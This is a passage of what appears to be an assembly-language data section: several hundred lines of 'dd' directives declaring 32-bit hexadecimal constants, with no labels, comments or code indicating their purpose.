0C237099Eh dd 42BD95C6h, 158F6070h, 0D1AC7D8h, 44E0CF26h, 7783122Dh dd 0F590A84Ch, 0FEEB6497h, 4DD45A4Ch, 174532Fh, 0D256F12Dh dd 71E12F15h, 0FDBE0704h, 3BE91632h, 0B050B840h, 0B7C52CB1h dd 0E24B31D0h, 0D4BE7109h, 0D02DBDDDh, 0BA1DEEFAh, 52121A53h dd 0BFBF84EAh, 5A7E5E8Bh, 5046284Ah, 0CC2CFF9Dh, 1AB8BA40h dd 0E233C1E8h, 0DBD25005h, 0B968E942h, 4034C130h, 8F4F5CA5h dd 36C4C6B2h, 0C18A5B72h, 8A5254BBh, 0DB45F70Bh, 7CB0C122h dd 8D6D8E4h, 0B9A05C05h, 0E7234BEAh, 76049029h, 3A12FB5Eh dd 2ABA1016h, 98FF5956h, 0E3BCE92Dh, 56E3226Ah, 0DCF09FE2h dd 5EAB294Fh, 383DC948h, 2CA7F431h, 6FBA1DC2h, 0C2667549h dd 0BABF6DAh, 0A1D7CC53h, 0E8EEE9B5h, 0B95E6497h, 973E6305h dd 0E3712E19h, 0F112BB71h, 0E03AA8CEh, 9D396851h, 0B25B1822h dd 94A440Fh, 0AC3C6BE3h, 20CCC7A8h, 669F3B14h, 46519D91h dd 5429680Bh, 2D3C26Ch, 0B5B2107h, 0BF542036h, 2E230EEBh dd 0B44812Fh, 57F83337h, 0C73E6C74h, 0A3D7369h, 7974AFA1h dd 25CF2004h, 9D563458h, 12D8FEECh, 0FA3AAA7Dh, 4A08A150h dd 0CB9762EEh, 5C13D37Ch, 84D4A3ABh, 0FDBA4F97h, 7D0804C5h dd 68022358h, 44591BBEh, 0B9FC0FA0h, 0C86BA297h, 82D27705h dd 0EAFD444Eh, 0A73FFA41h, 772861Fh, 0F868140Ah, 52DFC167h dd 0B2E7E063h, 0D00B7170h, 0C3142C5Ah, 7D75A2B9h, 15227AECh dd 95ED0FF0h, 29666F43h, 883F2F5h, 6D9A0C00h, 0EE3156A9h dd 263526E9h, 2722A827h, 927E0703h, 0C218CA43h, 0EAF1C185h dd 50660FD8h, 1362B479h, 0B8DB6EA7h, 50B81870h, 72EAB08Dh dd 0C63012B6h, 0B4A2AE58h dd 0DE2811C3h, 8D6CF4C4h, 0B83F4C61h, 2F85335h, 75380F05h dd 0CD20289Ah, 566F2C6Ah, 211FBE17h, 77A81DC5h, 0F6B7804Ah dd 673B77A5h, 0F2E60674h, 0A8F828h, 0CBE895C6h, 96E94E1Eh dd 0B71B7B5Ch, 0DDB45DC9h, 0B6401190h, 44E64889h, 883E4072h dd 0F02FCE72h, 5A9B145Ah, 2AFDA051h, 7AF35C9Fh, 13A99657h dd 85B5A58h, 0BF070183h, 77D17D4Dh, 0BA549BBh, 9520A7F6h dd 7A1B3904h, 0D8EF296Dh, 0DE680160h, 9E2510FAh, 682FC222h dd 3A4C335Fh, 4F3FBA20h, 62C9FD05h, 42A09F8h, 0FFB8EE68h dd 779AFA4Ah, 0B82C345Fh, 9F2B0FE6h, 5D043201h, 0BB12645Ah dd 7CD58CE4h, 0E2C54D25h, 13B65E2Eh, 0C746600Ah, 674AA86Fh dd 14482AECh, 0DA654205h, 0E98944BAh, 0B42E180h, 0A7523FC8h dd 0B55A58AFh, 27EBDBh, 3243C7C6h, 0E0E6C82Ch, 5BDE9A3Eh dd 95725892h, 9944587Bh, 0BDEE1ACh, 0EE828C7h, 7527588Ah dd 7C18F076h, 0C3B6033h, 0BD0044Ch, 6C095C90h, 0D74B9F59h dd 0EBF60FFAh, 5007390Bh, 3FA6537Bh, 0C2E9DA9Ah, 0C572FCDEh dd 0E286A124h, 560B3CCAh, 0B04A2DF2h, 6240D675h, 7954C4E9h dd 59C5E381h, 403F4F56h, 6F45EB7Ah, 0A4B5325Fh, 340102DBh dd 7BCA27FDh, 0A0F8F0F4h, 0C01FB2CDh, 7868BB4Ah, 29286CAEh dd 0EA20B0DDh, 0B1510047h, 30E0B2DBh, 83BF59CAh, 1712C234h dd 0FA04F20Bh, 0E789A421h, 0BB40757Eh, 17CEDE61h, 77F3DDC2h dd 792536A6h, 0DE6D0886h, 0B2AABD12h, 2F9E4CF4h, 5B28E130h dd 24AC2D7Bh, 65D2530Dh, 0E40BBD04h, 0EF2A0C18h, 8237F1BDh dd 34922FFCh, 0D2F93552h, 107E0C92h, 0A1515152h, 0E2E967F3h dd 0C641FEFFh, 97376B98h, 0F23A7380h, 0B2E09750h, 0D8042109h dd 6018E975h, 89EC8003h, 82C5CC99h, 0E230EE0Ch, 28B68058h dd 3D53DAF6h, 50F51FB3h, 1AFBCB5Bh, 3E8C75E9h, 0A8FE8741h dd 18BE857Ah, 0CD12B170h, 7B2DD10Bh, 0F2F404A8h, 164F9463h dd 6D1B62Dh, 713E476Ah, 70575E67h, 67885A60h, 4C5C81F2h dd 0D9485145h, 565B8B73h, 0FA3617A9h, 0D282734Bh, 19EB04DDh dd 80113012h, 2B1A0D75h, 0A40C2F61h, 0C0DED357h, 5E3AD8D7h dd 0BB945Ch, 0B7CD74AFh, 1D4BE9DBh, 0B2EF39C5h, 91E29330h dd 45C26809h, 0D8B09064h, 0E80E5227h, 3D0615D1h, 0FC923BFBh dd 3361AFCFh, 0CD7F2D40h, 0E18B2AB5h, 0F1C51018h, 682D5FF9h dd 0F45A0B90h, 62A5EFB5h, 7467D833h, 7F130805h, 12FFDEF7h dd 0E15CC9FCh, 0CE127B8Eh, 6943CABFh, 0A06EBCEDh, 0A4EAE589h dd 9BF0BF68h, 2D91AA5Dh, 0F8486687h, 0EFF84F64h, 0B069D844h dd 0B22FC9CDh, 0B2370A83h, 2E070821h, 0F4A94149h, 0B9518AF2h dd 6F61250Ah, 6C516008h, 53BF1FA4h, 0ACC5A557h, 0A5BD5580h dd 900F1A6Ah, 42340C55h, 650C3E8Dh, 0E4437126h, 20F0ED0Eh dd 1683959h, 65EF9445h, 0B93D907Eh, 592E13D0h, 72023A2Ah dd 0DC0C539Dh, 0F3992DFEh, 0E90F8456h, 4FB4A231h, 3B1041F4h dd 5B2ED0ACh, 19759A16h, 1861BA00h, 0DA9D63CBh, 5F088243h dd 805B1CD4h, 1218572h, 0C2C540BFh, 0CE88E97Eh, 9D2B6E5Fh dd 3900770Bh, 6F40DAFh, 4D5F3C98h, 47486730h, 0B434A51h dd 6ADEDA1Dh, 114BE909h, 922AC6B3h, 0C55D87DDh, 0EAC18C24h dd 0E44B7432h, 0E3E3BCCCh, 793D4726h, 0F4CEBF4Bh, 1983B74Bh dd 29203EF6h, 3B52DD7Eh, 51B2A8B8h, 0C0F915CCh, 765AF174h dd 84073F9h, 0E0D3B659h, 2F7168C8h, 5126FCACh, 0BF0180FCh dd 6531792Bh, 0BCA8D82Fh, 64092E1Ch, 80A8EF93h, 0C800826h dd 0F3E36222h, 0FB2CBC05h, 0E4BCD150h, 1C356905h, 509AC757h dd 0E96C5F3Dh, 0DC18A625h, 0DAF652B7h, 62CA7D52h, 6F6B8360h dd 0D880E651h, 0ED0F553Fh, 0DCC70141h, 0CD008A8h, 90E90914h dd 0EC207233h, 62D72578h, 57122B14h, 9DA86FE9h, 1728EF4Bh dd 5C15E4B9h, 0A417F267h, 0C25AE9E5h, 740B5168h, 0D1E6657Bh dd 6C50E9C2h, 62FC4EFFh, 96486DACh, 5768C024h, 994E4D71h dd 41B70B33h, 0C16913D7h, 5D7FC3DFh, 0AB03351Eh, 2D2A39F5h dd 408E6916h, 0A21373A1h, 0BFA83FB5h, 650FED12h, 32D6A44Ch dd 2BAD1E12h, 0D0D001BBh, 7A42C837h, 0F419990Bh, 5FFD899Fh dd 7F6F6219h, 8BBBD412h, 800F4035h, 1697EA4Ch, 1D71BDFEh dd 11762539h, 0F87A3A13h, 2F0AD497h, 62D37C11h, 517F0F42h dd 0B2306B6Eh, 95D2D029h, 0C7A60ABAh, 0EF5CAFE6h, 4CD0E970h dd 358466C7h, 0C2810107h, 91F53E83h, 2C5A5092h, 6CB75228h dd 760A2DB5h, 801C7BE4h, 0DA39CFC3h, 0E8855CF9h, 95C8D784h dd 0DB86BAD9h, 2A507F5Dh, 9F93589Bh, 0D05F6F89h, 74794DAh dd 0E7696CEEh, 120356C1h, 118AF618h, 7E2FC60Ah, 194E665Ah dd 0F73F22DFh, 0BF83BFD6h, 0F503F01h, 0AFE9CCB8h, 58585F31h dd 7EBAEB2Eh, 0F301326Ch, 0FA09C310h, 0E13E22FDh, 364B49ECh dd 2913F3CAh, 2D2801FAh, 203B60A3h, 0E757835Bh, 569572F8h dd 0C52562C4h, 5359CD7Eh, 13FBC620h, 0BE037828h, 2C4999E0h dd 80D714E9h, 21E42DADh, 68257A3Ch, 20CFFAB8h, 0F5F47FC1h dd 20A4C50h, 4EEF8380h, 0C964BF04h, 0D470A6BAh, 0CECF8444h dd 0D2118DABh, 0BDE3F97Eh, 974378FEh, 0F72063E4h, 5D5A3B12h dd 0B94BB8BAh, 95078403h, 61B7B900h, 811A4503h, 0DF0DB5F1h dd 0CA449541h, 89BEBD0Fh, 0D538363Eh, 0E9C2E3F9h, 5E8D85Eh dd 34D3F2BEh, 7ED8B135h, 685621C0h, 9211126Fh, 0E9F5037Fh dd 0A4ECFD87h, 645C3F36h, 24C3005Dh, 0E9188340h, 202BF326h dd 4D1E229h, 0C11829E6h, 0B31205EAh, 755F3F23h, 0D4C73BF9h dd 0EB89D617h, 160BEC56h, 885AF10Bh, 800711BCh, 0F30454EBh dd 5A569687h, 95A95012h, 50879E34h, 372E94C3h, 7E08DC88h dd 76807A1h, 5975094Eh, 7CFE6907h, 55939025h, 488E2068h dd 0D59752FCh, 1410AD19h, 0C0D3C8C2h, 0B0C9872h, 1889F967h dd 11A65D5h, 0AF68D231h, 0C270545Eh, 57D88033h, 71FB549Dh dd 7A4AC168h, 0D68891D9h, 5E1698CEh, 641364B8h, 0D3BBFDD2h dd 9D5E6E98h, 279097ECh, 0A5B831BFh, 0F6FF152Eh, 5AD6090Bh dd 98BA9AC0h, 5E9DE13h, 86BEC441h, 0BD60597Ah, 0D8262EEh dd 0AF6CF089h, 0CC40B798h, 0FED61CB5h, 0D0C580CDh, 9DED80E5h dd 65EB302Ch, 80B12E44h, 0E1E6B16Bh, 4C372181h, 895B6881h dd 44A2F644h, 375DBA00h, 779757C5h, 40EB0700h, 5A5BB364h dd 8BC3B4C2h, 20D9FA08h, 64CF1E39h, 0EF9232E6h, 0F774EAC7h dd 3015ED0h, 81528F30h, 0D8007F7h, 961D7605h, 4B092D1Bh dd 0DD0A9D15h, 3E071488h, 135F1150h, 0CC4E8768h, 5B4A8BB3h dd 0A08E0B32h, 0D96851DAh, 44852D23h, 568D4100h, 0D11C6471h dd 0E1DD41E9h, 1A57B216h, 0B31DC1FEh, 96DA3C1Ah, 947194Dh dd 7AC62DFDh, 7BE20716h, 62017190h, 891BD55h, 3BCEC65Dh dd 0A02C3720h, 255616D2h, 0EC56DCF7h, 3343E941h, 0EBE0312Eh dd 38353E3Eh, 0D52C0482h, 0DA94260Bh, 2E36812h, 0D9BB8Ch dd 0BF08EE51h, 47E1D84h, 8E09314Ch, 6D06D97h, 48AE0F20h dd 54C572E0h, 3CA4E35Eh, 593CADE9h, 0BC4A1793h, 4F169610h dd 48058A01h, 0BD2F6E57h, 5CE92F5Fh, 45B99DE2h, 0FB1F5940h dd 47527641h, 0B23A7876h, 0DE730556h, 0AB136A66h, 0AF03C5FFh dd 42F05181h, 7C889C9Ah, 200165C1h, 0BC4A252Ch, 30E489EAh dd 4F965933h, 73B8FF49h, 0FE4EF699h, 218468A9h, 18C0C3F0h dd 0F5C20BE4h, 0E5DFDF2Bh dd 511A89CBh, 0D26213DEh, 0D8000BF7h, 2C787356h, 0ECF28100h dd 4A181C48h, 19BD2DE9h, 133CE8D9h, 0E649EB78h, 0BB9855DBh dd 5C4E5068h, 0BC0783F3h, 0D737A478h, 5846DB63h, 0F959520Bh dd 0BC8E5D03h, 2B41FA76h, 0CB6EE11Dh, 982FD8F1h, 0F9601421h dd 1AECBDFEh, 0E9654EF1h, 64A70459h, 27FA3584h, 83F5B05Eh dd 1009FD30h, 0DDB9E94Dh, 5059C118h, 3F18ACC8h, 0BE1A6993h dd 0DA305D39h, 0BB8FBC60h, 5E61F4ADh, 82E77E5Ch, 4A1CE983h dd 83BB2A38h, 0D16E7F36h, 23DBE1EBh, 2026739h, 1A01FE0h dd 0C2287E57h, 3A6971E9h, 0D59DDB5Bh, 0A6D1EB82h, 8E7E209Eh dd 0F15073C8h, 3EE366F3h, 0B079D9E3h, 31759AD7h, 44DD67ADh dd 0DD4902A2h, 0AA25900Fh, 8B15E8ACh, 2D04D004h, 0B255C6FAh dd 97D97523h, 0AED5D9C5h, 0D9888AEBh, 3120554Bh, 1DABB50Ah dd 190E200h, 5890057Dh, 3699254Fh, 32E1B040h, 12B34D8h dd 5B080B31h, 0BBC0D6DEh, 24974F1h, 8B13B80Ah, 97D0F5B6h dd 5EAE36D7h, 0E9097BEAh, 0BC448F09h, 9D279C84h, 4498CE02h dd 540D52C5h, 3974D7E9h, 0F22F02F1h, 0C7A8C4C4h, 12961616h dd 479EE50h, 145C0D93h, 0FE27B411h, 0E80F3FE4h, 0AB2C4B6Ch dd 0F581293Eh, 8924622h, 55F0BFC8h, 81734800h, 0B7AA14C6h dd 3B2D008Ch, 1074650h, 7A105F0h, 1AA93F5Eh, 551E0B93h dd 579DBFC4h, 81DFD429h, 555019DCh, 0D2291F7Eh, 9ED9EB7Dh dd 0D5F7CBECh, 0E0BCD9Ch, 91FD0BF8h, 0B9AD5812h, 850885F1h dd 0A5501738h, 5C133E0Fh, 5ACD7D01h, 6A604C8Eh, 300FB5B1h dd 0EB3A7E65h, 0FC7F663Dh, 4B82B8A3h, 747A8A40h, 87E5FB4Fh dd 22AC6Eh, 0E263D2EBh, 92D98991h, 341D021Dh, 0CF012E0Ch dd 80A34C2h, 5E5A812Bh, 0E3EF2960h, 5D080B95h, 0D8DC6890h dd 0F61ACEBDh, 970940Dh, 16DDF129h, 0B0E10610h, 7223396Eh dd 144FA09h, 470BD553h, 5AEEDF00h, 4FB035CAh, 0A858150Eh dd 1B0BA4F4h, 0F1C8CAFDh, 209DE525h, 9B876AE9h, 0F22A3CE3h dd 68B93ACEh, 95C1E9Dh, 20A958CFh, 2D9234D4h, 7140C0A9h dd 8A014E32h, 0A99410ECh, 6998F620h, 7AF33020h, 25343A81h dd 5357290Ch, 0B9C1E7C2h, 12FD8858h, 0FA26136Ah, 9C02714Fh dd 7410F91h, 871C1936h, 0E9F584EEh, 0F8E84Ch, 0EC1EBA0Dh dd 98E8C127h, 20A7906Fh, 4376E086h, 6897747Bh, 2C0FFC75h dd 12927673h, 968BACCBh, 34A61601h, 77F95E7Fh, 0C4312C74h dd 0EF29724Ch, 2F681128h, 481A7D5Eh, 0FD62C6DFh, 0A8161A62h dd 0E2D45213h, 8AB9C069h, 0F8651D64h, 23FB0AF1h, 17DA2B20h dd 631AA1Eh, 37754FE7h, 150F7D6h, 56A9D14Bh, 66CE079Ch dd 0D7F5D759h, 85D03780h, 0FFE1BF51h, 0AF9C886Eh, 12E6C34Eh dd 351E9A07h, 22EFE228h, 5B13F394h, 0E3BAC330h, 65680949h dd 17022279h, 5BC00FEBh, 2048B450h, 26755EB7h, 39243B4Fh dd 0B55160EEh, 0C900B4EDh, 0FEA0B652h, 0E4DEF6CEh, 0C8075D6h dd 6E6C0B9h, 0D9F30306h, 0D6258537h, 44AF2AE9h, 0AA5DEF2Dh dd 643998C7h, 82B8722Ch, 35AB7369h, 0F1E5F05Ch, 0E2044B92h dd 42DC2CB8h, 9F25CE0h, 0FD3FFB6Bh, 97B9F075h, 0F35FC8E2h dd 0AFEFA5BEh, 4CD342A5h, 773590BFh, 718325D6h, 881CD72h dd 0C4CE7B5Fh, 408AD244h, 2E2A6842h, 6620B431h, 0E5800561h dd 0E2C5FE35h, 22B380FDh, 0D33D12E9h, 0F5674514h, 4F65FA28h dd 0BF020CF9h, 5D6A1622h, 7581EA7Fh, 0CDE908A1h, 0C5897ED7h dd 806895E1h, 24545A2Dh, 6BC475DAh, 1BA8404Ah, 92D8DBC9h dd 0B6147F95h, 0DE029E5Ah, 775B1988h, 0FA648AF1h, 38BB5A90h dd 0A042FC6Dh, 559C7AEh, 0C0E9725Dh, 923996F4h, 0F6410A0Ch dd 4900C23h, 0D149723Ch, 89A9EFE3h, 0C24F3A0Eh, 8605C954h dd 0BE156D7Ch, 1AFB2B15h, 5FD5199Eh, 0E94107F9h, 708A0B6Eh dd 65ACC328h, 4E12AE5Eh, 0BED29AE7h, 48D87F04h, 9F86F9BAh dd 765AD54Dh, 0DE35EC2Bh, 0F35B9518h, 0E457280Ah, 93625AF4h dd 312DF0FEh, 4957F15Ah, 0ADD75BDDh, 520964C6h, 75466DE9h dd 5A68BC68h, 0C833795Ah, 0D9EEA564h, 2CA3E872h, 0ECEC2EE1h dd 53E950F0h, 0DCF2725Ah, 0F459C886h, 0ED194B17h, 99EE0BAFh dd 1B62468h, 0C75D8682h, 0DAF70941h, 1B55B268h, 3BD60267h dd 0BE5EF53Eh, 0EA56058Bh, 0D541E906h, 8AE665B3h, 2CD845F2h dd 0AB955306h, 28A455B2h, 5D5EE9A5h, 3D92F461h, 2310411h dd 40E2515Ch, 0D021595Ah, 0EBB0D19Fh, 7ADF2289h, 7BF3957Ah dd 0AA56571Fh, 3EB6957h, 592C22B6h, 5007A7AFh, 0E9C434A5h dd 89EFB22Dh, 0F762F7B6h, 405F17Dh, 0B8A502E9h, 0BA0C80F2h dd 372F7C12h, 0C5105C29h, 430C246Ch, 7AFC6891h, 56B3EF84h dd 3D01C490h, 0E9567466h, 17812598h, 178DA216h, 44F3EF93h dd 7CE72124h, 0C233ABCFh, 0BB83915h, 0E7ABAB54h, 0B753072Fh dd 7C2FC0E7h, 8005EFC5h, 680964C5h, 2F285ED4h, 1C53CF5h dd 0BC68575Ch, 3046BB02h, 0BA98C7C9h, 7917B82Ah, 194F4FF0h dd 49536230h, 9808B055h, 104D224Ah, 15EF05Ch, 0D0498BC5h dd 0C2DB0115h, 0E90881EDh, 0AE2E34F0h, 45441527h, 20E2B61h dd 0EB75E081h, 3BCC4839h, 68B5025Ah, 6EF76D89h, 420996D2h dd 5B023686h, 1CEA552Dh, 0E7BFCB02h, 21DF40Bh, 462035E2h dd 0DF24417Fh, 0BE02BF7Ch, 37C00E72h, 4ABF841h, 0ACE085E1h dd 45579C6Dh, 5882FF51h, 0EADF706Eh, 0AEE6036h, 0C3809DB3h dd 9BEF85Ah, 967753EFh, 0EE5F20FBh, 7A6EF2BFh, 28FB317Eh dd 2F4F2C24h, 84E324BEh, 6CB2FFAEh, 0F4C32CC5h, 2E6460CFh dd 0B2BAB916h, 0CC317CF4h, 7EFCB42h, 82515BE0h, 52D9C4F5h dd 0D3189F66h, 0CA2CC6EDh, 0A5E143BFh, 0E19352C2h, 0D70414Ch dd 643C2DE9h, 0C2D6C549h, 318B5C04h, 0AB847D4Ch, 4EF8B2F5h dd 5883D0EAh, 4E006905h, 122D09BFh, 945B786Eh, 27B0B60h dd 0C124EDC8h, 9294F53Dh, 0A457D06Ah, 0FD71BFC1h, 0EA4B800h dd 3569B600h, 5691754Fh, 72D70B2Dh, 4B4345D6h, 0E6E1B54Ah dd 0BABF1296h, 4B95128Ch, 0BEF3CC29h, 0A976120Ah, 0A1AF57Dh dd 0DE66806Bh, 256E7B1Dh, 0E571DD01h, 8619CF61h, 47D9E9EDh dd 1E46DA64h, 0BD21794Bh, 0AC4C42CDh, 0C49AB2F4h, 98EF4A68h dd 0EC2DFF03h, 0DA92FFEh, 782111F7h, 0FBEB520h, 307D73ADh dd 0BE827FC4h, 8BDF4CF2h, 16DDFEA5h, 5823FAE3h, 0B582DE11h dd 31D76362h, 0A86E890Fh, 0E5EBA434h, 0FAF76F5Dh, 0FDCF8B39h dd 8BFBF43Dh, 3EE9177Fh, 0EBCBA984h, 2EF2F76h, 0B1884CE5h dd 0A3FC2D4Eh, 68149D2Ah, 0D6A35FF8h, 2DFB3A75h, 924120E1h dd 6236122Fh, 0E4F9D588h, 78B5E942h, 5B96BE18h, 0F44A69FAh dd 0A5D24188h, 0BE06DF7h, 34362870h, 3396D795h, 4CB50D73h dd 41F6989Fh, 7CB52A4Bh, 6076CCh, 0BB537315h, 4F115B79h dd 0CE80094Eh, 651899CEh, 0BBB74E6Ch, 0E2BAB012h, 0C909A160h dd 55C1E131h, 0DB105872h, 0B9078DAh, 0DD41592Dh, 77C9BD00h dd 4648284Fh, 4ABD224Ah, 7BF4FDC2h, 85453BF3h, 0A7A35BD9h dd 8588EB4Eh, 270AB44Eh, 94AE1CFFh, 87186CD5h, 0EB67E914h dd 0EA2050BEh, 160D03E0h, 82C2292Dh, 0CAD80805h, 5E87406Ah dd 0CB78599Dh, 2141ECF6h, 60625BD8h, 0EA243012h, 186A1F61h dd 9DDA717Bh, 20AB2F9Ch, 9749760Bh, 0F3057E76h, 0C293905Eh dd 0E9C581FAh, 2252C1Ah, 0DB7AEFB9h, 0C748DD58h, 0A88360F7h dd 9CFEEAF6h, 0BD558F69h dd 11CB390Fh, 0CCF128C9h, 7B71460h, 3B38C21Fh, 0D6F7F082h dd 7ADF5650h, 0E38002EBh, 5AB25254h, 2869E1DDh, 82FECA42h dd 0A4BE7DC5h, 0FF9CCAD4h, 0CDE84B09h, 0BF7AE47Bh, 585A4F92h dd 8D3A0029h, 395DDA9Ah, 7FE8B86h, 679F5F94h, 141E65C7h dd 4E645493h, 74BD881h, 1B01CE72h, 350B324Dh, 4290D0A4h dd 6C0328EAh, 0CF05763Dh, 25FA0101h, 1FA861D8h, 88F8202Dh dd 4BF1148h, 4B75786Ch, 84EE01D2h, 0A2AF5808h, 5053812Fh dd 0E7C8EC88h, 0FB3CEA58h, 0E982E92Ch, 0A5552ADAh, 1DA1165Bh dd 0E2867B23h, 1035814h, 6D642DD8h, 87222032h, 0DFF2E969h dd 587B9866h, 1619A332h, 525E5552h, 34C3854Fh, 0E4E1974Eh dd 0A9D53A37h, 98853A86h, 0EF010FB4h, 2A66E4B5h, 6BF3171Ch dd 85106EF2h, 0E15509Bh, 0A124664Fh, 2E690BAh, 0B424BC0Dh dd 91081401h, 0AABE0F55h, 546A8E0h, 67096FABh, 55F02977h dd 9079B680h, 0C655E935h, 0B5F02A8Dh, 0B22F4F10h, 46F39335h dd 320AE05Ah, 4BD62980h, 7D39F25Ah, 10CA9A25h, 3EBE66C3h dd 212390Ah, 0BC9416F8h, 74C305D3h, 0D3F1B504h, 4D4B3BE8h dd 604E4072h, 0E335E96Dh, 3BCD2197h, 8571F328h, 0FD47C43Eh dd 4553D21Bh, 0D2DFF2BBh, 5AE94FE0h, 5AB482BBh, 0F953D390h dd 0C8275E95h, 0F5A60092h, 0F831F7D6h, 8633E912h, 82CDF6BFh dd 0D46B7868h, 0FD015821h, 3BF37590h, 0C790A3F9h, 25875E1Eh dd 987EEEDDh, 0BD474027h, 80E49E7Fh, 0A9F85EB8h, 5EBA1E4Fh dd 228F0AB8h, 0B2D693E1h, 2ACBC426h, 4E49438Ch, 1A17522Ch dd 93750346h, 9A1601CBh, 0E9E82CF0h, 0C08E54CFh, 963C4666h dd 0BD1A00BDh, 13010507h, 0E309FC68h, 3B0214E4h, 11B40574h dd 7F8075FCh, 4C5221CAh, 0F900BB78h, 0E92BC6E8h, 0C7A0F034h dd 7A0B10B8h, 0DC09641Ch, 951B818Eh, 2E311E61h, 0CA8CF772h dd 4EC5F546h, 0C22460Dh, 0D2B903Bh, 1B63E267h, 0FC5E02B4h dd 238F83BEh, 0E9080806h, 7AB09FB9h, 490F90B2h, 0E124600Dh dd 42840302h, 74EA2FECh, 60406EE9h, 0C3915B36h, 2C5A88A8h dd 0CB5DD77h, 5B2583ECh, 0DF69D7F9h, 0D30A8259h, 0BB0183E7h dd 67B63EBAh, 0A101F42Fh, 0BDC640h, 0EE33340h, 5164E581h dd 0E0AC904Eh, 6E175209h, 0EF024974h, 0C253F04Dh, 0B5A7F3Eh dd 0C6874654h, 48279C7Ch, 9C4BFC37h, 0B022F039h, 850E2C10h dd 61505253h, 0C7FEF2B7h, 12814560h, 0AA5AD730h, 0CFC0EA1Eh dd 0E973EF80h, 76B9B222h, 7E0725C3h, 11E799D5h, 0B408308h dd 5EC70581h, 0FF0D84CFh, 54B89103h, 0F5B5D209h, 30486941h dd 0E28357D5h, 0A69675C7h, 594E0E2Fh, 0E4D4BB9h, 746F6805h dd 0C9CBD9E8h, 595E4BA2h, 2E948382h, 20BE695Ch, 66812F6h dd 0F8E73C70h, 49055F2Ah, 90149520h, 0A5E1FF5Dh, 126E0F75h dd 82A3EF87h, 0D08EE982h, 0F27B18F5h, 0C0BD80A4h, 7402721Eh dd 984027B8h, 58D35CCCh, 0CF1AB5E0h, 407D1A43h, 2F7BCA38h dd 3078C590h, 95CBEC9Dh, 759C0955h, 85565862h, 24425FC9h dd 8940E2D7h, 3AE4500h, 91B0E8B5h, 740AC184h, 0E1272B0Eh dd 5F2D5183h, 0B8FCD5B9h, 240C3FDEh, 5D964263h, 71C1B2BDh dd 2F3B8A12h, 0B0A6B904h, 200F4212h, 0F0308Eh, 57666816h dd 67F428B8h, 0D810BBF5h, 0FC601CE9h, 876E0695h, 95E8F436h dd 0B9B84000h, 377A5972h, 0DD2DF424h, 2625F51h, 0EA5EE90Bh dd 0F93B4CF9h, 533AB32Dh, 9502AD69h, 0F50844CBh, 26BE5813h dd 0EA204833h, 0AC5F4E98h, 5651F1EAh, 3E13CEBAh, 0E3940012h dd 626747C8h, 0F81693B0h, 25059025h, 76AAE80Eh, 0F094565h dd 0FD5452C8h, 5827271Ch, 4F136636h, 0AA491326h, 8884D9A3h dd 19484E5h, 9760BCD7h, 0C1E86E1Eh, 0FB2EFF4Ah, 84D2052Dh dd 1715F197h, 461B1A89h, 62D2E4DEh, 0CDBA618Dh, 27D0EF13h dd 50F67D8Fh, 0E1711A60h, 4C59033Ch, 0F4333334h, 6FB153AEh dd 2BEBA40Dh, 81D7273Fh, 782CAC85h, 0B6037036h, 3AF68043h dd 0C22D859Fh, 0C7F70FB7h, 4E28F6h, 1633782Dh, 20D86855h dd 5D7A9214h, 34850591h, 20FF5A99h, 0F82B02A4h, 5BE7B6Eh dd 1FA3326h, 4A799385h, 0A50C8938h, 310E852Bh, 18E0ED04h dd 7A236802h, 5F511BFEh, 4E4757Bh, 10819E49h, 2D5404C0h dd 9BA522EFh, 52580802h, 777520EBh, 1060BB5h, 0D3287DABh dd 0F70CB17Fh, 256B9F4h, 0A6015FF3h, 0A9404075h, 8E49257Ah dd 0BFF79E2h, 0F65D1055h, 0E73039D4h, 0FF09FC35h, 2FE942F4h dd 9E71DDECh, 2D89A946h, 3FD9F428h, 2D0DBB08h, 4EBEB277h dd 261F9AC2h, 3B47DE01h, 1CD1FE25h, 383AF1C0h, 9C2050DDh dd 6D7602E4h, 9A0AE918h, 0C2B0B2FFh, 0BDB0D85Ch, 40212358h dd 0BA77A51Fh, 2D37FA98h, 5A74CCCAh, 0C1AD6665h, 0F3A2267Eh dd 76F08338h, 0BAF028C2h, 0D824064Ah, 7E162057h, 41773162h dd 0E12A0F78h, 0CE58205Bh, 0E9835197h, 0A0987BDDh, 478F2E82h dd 0F8B00850h, 49415C25h, 0F10317Eh, 3A875228h, 59A45D10h dd 3FE8015Eh, 0A5892922h, 5E00D57Ah, 0E005DAC2h, 25717A5Ch dd 577F39A7h, 24923669h, 2EF90C9Ch, 9D0490FBh, 0C729B7F1h dd 1C595AFh, 372784Ch, 21CEE549h, 1C08065Ch, 0E604409h dd 0CB09DE10h, 58C4EE5Eh, 0F722BCF3h, 18840F13h, 0F4BEC353h dd 0D127E9D5h, 7CBC4ED9h, 0DCBA5DC2h, 0A242904Ah, 59EEEA71h dd 78CFEF1h, 0A102EDB2h, 1669C3Eh, 8C988CDh, 0D4255321h dd 0C0E950BCh, 5D5B91CBh, 6C8B4A61h, 58511379h, 0B599A2BFh dd 0C46FA2FFh, 78FC13B0h, 0B34657C5h, 483D0788h, 9AD76543h dd 806DD16Bh, 9BBCB7C3h, 2D0DC181h, 0C56430Eh, 82F8E53Bh dd 0FB51D7FEh, 3F8FF65Eh, 0EFF40851h, 0BCDB9FAAh, 0E09692BDh dd 5E4557F5h, 51A20AEBh, 0AC7AAFADh, 0C6486CA0h, 12812B5h dd 0B97CA1EDh, 2CC51F9h, 0BDA45B03h, 462D0514h, 0F1EE3F75h dd 66BC7ED6h, 85E23884h, 85DEA37Bh, 8F300ED4h, 6AFBD55h dd 0BF7C600Ah, 31150BABh, 10D48BEFh, 810F9ECEh, 8DE443F6h dd 0E281BB7Dh, 0A66A4ED6h, 0EC0E17FEh, 54258CBDh, 4E1B7740h dd 0E8182227h, 2DB1E0EAh, 0A348E7DDh, 0B7837685h, 7F8BFB95h dd 0D5B1E45Eh, 0B2FD804Fh, 14955EE6h, 52C49DECh, 2F396949h dd 0D53E8B4Fh, 7EF74CA0h, 52090C6Ah, 0D2E639E9h, 0AE044ACEh dd 25E93B3Ch, 0DE446FCCh, 9757F697h, 5D9A625Ah, 2DA04DDDh dd 5369D459h, 1CB92442h, 0FDE7A801h, 0EB7C62D9h, 0BE0A4248h dd 25FD1235h, 820DBDCh, 0AB875B31h, 0E53BE1F6h, 0A5282A87h dd 0D0A430E9h, 5FADF1C3h, 240B6A3Fh, 0B2C9BEC8h, 460661ACh dd 57C33381h, 2C89D8A7h, 13AE5AC9h, 0F10EB25Eh, 2305550h dd 0CC55827Ch, 0CEA7B59Dh, 0C6621F68h, 1EE85F53h, 0A116E7C7h dd 7541B3CEh, 4B01EB83h, 3779080h, 0A8E96FDDh, 